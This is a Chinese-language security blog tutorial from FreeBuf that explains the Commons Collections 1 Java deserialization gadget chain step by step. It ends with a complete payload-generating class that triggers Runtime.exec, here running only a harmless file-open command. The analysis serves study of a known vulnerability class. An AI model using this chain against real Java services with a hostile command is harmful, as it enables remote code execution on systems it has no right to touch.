freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

浅析CommonsCollections1反序列化链
2021-09-29 13:20:32

前言

最近一直调试CC链,今天突然觉得CC2的链还是调不通就很迷茫,现在得回来重新调试CC1的链,温故而知新,把CC1搞熟练了,之后的链都会简单很多。

CommonsCollections1 第一部分

InvokerTransformer

首先要介绍的是InvokerTransformer这个类,理解这个类的transform功能非常重要,首先看一下它的transform方法内容

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        /****
        ...无关方法省略了
        ***/
    }

该方法的入参是Object input就是一个对象。

Method method = cls.getMethod(iMethodName, iParamTypes);这里先通过反射获得一个方法,等下会说到iMethodName, iParamTypes在构造方法中是我们传入的内容,所以其实是我们可控的

return method.invoke(input, iArgs);会通过反射执行一个方法,执行的方法就是通过iArgs来控制的。

现在查看一下InvokerTransformer的构造方法,可以看到就是iMethodName,iParamTypes,iArgs都是通过我们的输入来获取到的

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
}

于是这里就很清晰了,我们可以使用InvokerTransformer来反射执行一个方法。写一个简单的例子,启动一个记事本(Macos不能弹计算器就很烦)

  • 先用传统的反射来执行一个

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class<Runtime> runtimeClass = Runtime.class;
        Method getRuntime = runtimeClass.getMethod("getRuntime", null);
        Runtime runtime = (Runtime) getRuntime.invoke(null, null);
        Method exec = runtime.getClass().getMethod("exec", String.class);
        exec.invoke(runtime,"open /Users/Red256/1.txt");
}
  • 使用InvokerTransformer来调用

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"}).transform(runtime);
}

详细解释一下InvokerTransformer的构造方法,其中有三个参数

第一个参数:要执行的方法

第二个参数:执行的方法的参数变量的类型(是一个数组格式的)

第三个参数:执行的方法的参数内容

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);

这一行代码执行的是Runtime.class类下的getMethod方法,那getMethod的参数格式就是String.class,Class[].class

截图为证,一个String类型一个Class数组类型image而之后第三个参数填的是"getRuntime",null,也就是说要得到它的getRuntime而该方法并没有参数所以这里填写一个null

截图为证,getRuntime方法是没有参数的image之后的两行代码也是同理,继续分析内容,我们通过

new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class)

获取到了Runtime.getRuntime()方法,既然获取到了就需要执行它了,我们知道getRuntime()方法是返回一个Runtime对象,然后这个对象是可以执行exec函数的,所以我们才需要invoke

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

invoke之后得到的就是一个Runtime对象啦,并且还是可以执行exec的runtime对象,就可以invoke exec

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"}).transform(runtime);

同样按照上面的思路分析,第一个参数是exec,就是执行exec方法,第二个参数exec函数的参数类型是String类型的,第三个参数就是exec执行的内容也就是我们要执行的代码open ....

ChainedTransformer

ChainedTransformer也是很重要的一个类,首先查看一个它的构造函数,可以看到传入的是一个Transformer[]数组,给iTransformers赋值。image
关键步骤!transform方法的内容是,循环调用了iTransformers数组中的元素的transform并把上一个执行的结果作为下一个方法的参数继续执行直到结束为止。这里就
image
这里就非常的巧妙的能够将我们的InvokerTransformertransform方法给链接起来了

ConstantTransformer

在构造之前先说ConstantTransformer类,这个类也很有意思,查看构造函数和transform方法,它的transform就是不管传入的是什么都返回一个固定内容,这个固定内容是初始化的时候传入的。所以我们初始化的时候就传入一个Runtime.class这条链就能直接链接起来。
image

Payload1

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"})
};
Transformer transformer = new ChainedTransformer(transformers);

这个图片我尽量的还原其中的过程,这一条链是通过transform方法来链接起来的
image

CommonsCollections1 第二部分

LazyMap

现在既然找到了transform的函数链,就要找哪个类的哪个方法会去调用transform函数,这里就会介绍到了LazyMap这个类的get方法,首先看一下LazyMap的构造函数,可以看到是一个protected类型的方法说明不能直接调用,但是LazyMap提供了一个decorate方法能够new LazyMap对象,方法的参数正好是一个Map类型和一个Transformer类型
image继续分析LazyMapget方法,可以看到其中执行了transform方法,这样我们的利用链就可以链接上啦

LazyMap.get()--->ChainedTransformer.transform,get方法执行的是factory.transform而这里的factory的对象我们可以传入chainedTransformer
image

Payload2

Map map = new HashMap();
Map outerMap = LazyMap.decorate(map,transformer);

我们首先要new HashMap()传入decorate,因为并不能直接new LazyMap所以要使用decorate方法

CommonsCollections1 第三部分

AnnotationInvocationHandler

上面找到了LazyMapget方法能够链接起来就可以找谁执行了get方法就好,于是这里介绍AnnotationInvocationHandlerinvoke方法。

Object var6 = this.memberValues.get(var4);执行了get方法
image这里其实就涉及到动态代理的问题,对于这里有不明白的地方需要先研究一下动态代理

如何让它执行invoke方法从而执行get方法呢?handler一般指的就是动态代理类,我的非常粗浅的理解,就是动态代理类像是一个工厂,将传入的内容加工一下再返回出来,使用返回出来的这个对象的时候就会调用到handlerinvoke方法
image
并且这里要通过反射获得AnnotationInvocationHandler这个类,并不能直接new出来,因为该类是一个内部类所以不能直接new但是可以通过反射获取到然后newInstace

Class annoHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoCons = annoHandler.getDeclaredConstructor(Class.class, Map.class);
annoCons.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class, outerMap);

Retention.class是随便填写的一个注解,查看AnnotationInvocationHandler的构造方法,一个参数是一个注解类,第二个是Map类,实际在我们这条链产生作用的是Map类所以注解类随便填一个就好
image

代理LazyMap

Map map = new HashMap();
Map outerMap = LazyMap.decorate(map,transformer);
Class annoHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoCons = annoHandler.getDeclaredConstructor(Class.class, Map.class);
annoCons.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class,proxyMap);

上面一部分的完整代码是这样的,现在比较关键的就是

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

newInstance的时候将outerMap装入了invocationHandler当中,现在通过他实例化一个对象叫proxyMap,现在执行proxyMap中的方法都会执行到AnnotationInvocationHandlerinvoke函数

readObject方法

反序列化最终的入口都是readObject函数,CC1链的入口就是AnnotationInvocationHandlerreadObject函数,会执行到

Iterator var4 = this.memberValues.entrySet().iterator();

this.memberValues是我们自己传入的内容,所以如果传入的是proxyMap的话就会执行proxyMapentrySet()方法,根据动态代理的原理,执行proxyMap的任何方法都会执行到AnnotationInvocationHandlerinvoke方法,这样完整的一条链就完成了。
image所以最后再构造一个AnnotationInvocationHandler的对象进行序列化就好

invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class,proxyMap);
SerializationTest.serialize(invocationHandler);

也就是这一段代码

Payload

完整的这套链的流程大概就是这样的,如有不对的地方希望大佬们多多指点指正
image这里是最后的payload

public class Attack {
    public static void main(String[] args) throws Exception, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/Red256/1.txt"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        //LazyMap的get方法执行transforme方法
        Map map = new HashMap();
        Map outerMap = LazyMap.decorate(map,transformer);
        Class annoHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoCons = annoHandler.getDeclaredConstructor(Class.class, Map.class);
        annoCons.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler = (InvocationHandler) annoCons.newInstance(Retention.class,proxyMap);
        SerializationTest.serialize(invocationHandler);
    }
}
# web安全 # Java反序列化漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录